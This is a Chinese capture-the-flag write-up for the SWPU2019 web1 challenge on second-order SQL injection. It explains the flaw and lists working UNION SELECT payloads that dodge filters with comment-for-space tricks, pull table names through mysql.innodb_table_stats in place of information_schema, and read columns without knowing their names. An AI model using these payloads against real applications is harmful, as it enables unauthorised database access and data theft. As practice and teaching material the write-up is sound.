[WP-SWPU2019]web1/二次注入原理和利用/information_schema的替代方案

二次注入

原理

查询前对输入进行转义处理，导致注入无法生效。

恶意语句插入到了数据库当中，导致恶意数据被读取并进入到SQL查询语句时，进行了数据查询操作，造成了注入，导致了恶意语句的执行。

产生原因

• 恶意语句保存到数据库之前，特殊字符会被转义，写入时又复原为原来的数据。
• 默认数据库数据是安全的，没有对取出的数据进行检验。

可能场景

• 博客评论系统：添加评论时，用户将信息保存在数据库当中，再次查询时，恶意语句被查询语句引用，造成了二次注入。
• 广告发布：同上
• 登录状态下的密码修改服务(update修改其他用户密码)

解题

回显位猜解

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

// 2,3为回显位

数据库名

-1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

// web1

爆破表名

information_schema.tables包含敏感字符，依次尝试了以下视图

• sys.schema_auto_increment_columns
• sys.schema_table_statistics_with_buffer
• mysql.innodb_table_stats

最后发现，只有mysql.innodb_table_stats能够成功得到表名

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

// users

爆破字段

-1'union/**/select/**/1,(select/**/group_concat(`3`)/**/from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)tb),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

补充：

保存数据库结构的表或视图

• information_schema （数据字典）

  • table_schema,table_name,column_name

• sys.schema_auto_increment_columns

  • mysql5.7新增
  • 作用是对表的自增ID进行监控，也就是说，如果某张表存在自增ID，就可以通过该视图来获取其表名和所在数据库名
  • 数据来源于information_schema
  • table_schema,table_name,column_name

• sys.schema_table_statistics_with_buffer

  • 存储所有数据库所有表的统计信息
  • table_name,table_schema
  • 类似的
    • schema_table_statistics
    • ps_schema_table_statistics_io
    • x$ps_schema_table_statistics_io
    • x$schema_table_statistics
    • x$schema_table_statistics_with_buffer

• mysql.innodb_table_stats

  • 类似的，mysql.innodb_index_stats
  • mysql默认存储引擎innoDB携带的表
  • database_name,table_name,index_name(索引)